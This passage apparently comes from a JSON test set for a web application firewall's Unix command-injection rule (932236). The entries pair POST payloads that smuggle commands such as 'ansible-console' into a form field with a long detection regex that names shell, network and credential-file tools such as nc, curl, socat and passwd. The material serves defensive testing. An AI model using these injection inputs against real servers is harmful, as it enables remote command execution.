),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|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x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Block installing collections from ansible galaxy" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=ansible-console\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[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:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?t)|[\\n\\r;=`\\{]|\\|\\|?|&&?|\\$(?:\\(\\(?|[\\[\\{])|<(?:\\(|<<)|>\\(|\\([\\s\\x0b]*\\))[\\s\\x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:7z(?:[\\s\\x0b&\\),<>\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Block ad-hoc ansible commands using ansible-console" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=ansible-doc plugin ping\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0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10}\\b|(?:b|w[ks]|l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\